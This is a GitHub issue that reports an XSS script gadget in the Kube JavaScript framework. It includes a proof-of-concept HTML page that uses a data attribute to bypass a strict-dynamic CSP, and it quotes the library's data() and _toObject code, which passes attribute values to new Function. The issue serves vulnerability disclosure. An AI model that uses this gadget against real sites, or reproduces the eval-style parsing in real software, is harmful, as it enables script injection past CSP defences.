Skip to content
This repository has been archived by the owner on Jun 24, 2022. It is now read-only.

XSS Gadget in kubeframework #144

Open
Tyaoo opened this issue Sep 11, 2021 · 0 comments
Open

XSS Gadget in kubeframework #144

Tyaoo opened this issue Sep 11, 2021 · 0 comments

Comments

@Tyaoo
Copy link

Tyaoo commented Sep 11, 2021

This XSS Gadget can invoke an arbitrary function, and you can use it to bypass the CSP containing strict-dynamic.

<meta http-equiv=content-security-policy content="script-src 'nonce-random' 'unsafe-eval' 'strict-dynamic'; ">
<div data-name="{tyao:alert(1)}" data-kube="alert">xss</div>
<script nonce="random" src="kube/dist/js/kube.js"></script>
<script nonce="random">
    $K.init();
</script>

And the related code is below:

data: function(name, value)
{
    if (name === undefined)
    {
        var reDataAttr = /^data\-(.+)$/;
        var attrs = this.get().attributes;

        var data = {};
        var replacer = function (g) { return g[1].toUpperCase(); };

        for (var key in attrs)
        {
            if (attrs[key] && reDataAttr.test(attrs[key].nodeName))
            {
                var dataName = attrs[key].nodeName.match(reDataAttr)[1];
                var val = attrs[key].value; // read the attribute 'data-*'
                dataName = dataName.replace(/-([a-z])/g, replacer);

                if (this._isObjectString(val)) val = this._toObject(val);
                else val = (this._isNumber(val)) ? parseFloat(val) : this._getBooleanFromStr(val);

                data[dataName] = val;
            }
        }

        return data;
    }

    return this.attr(name, value, true);
}


_isObjectString: function(str)
{
    return (str.search(/^{/) !== -1); // doesn't start with `{`
}

_toObject: function(str)
{
    return (new Function("return " + str))(); // create a new function
}
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant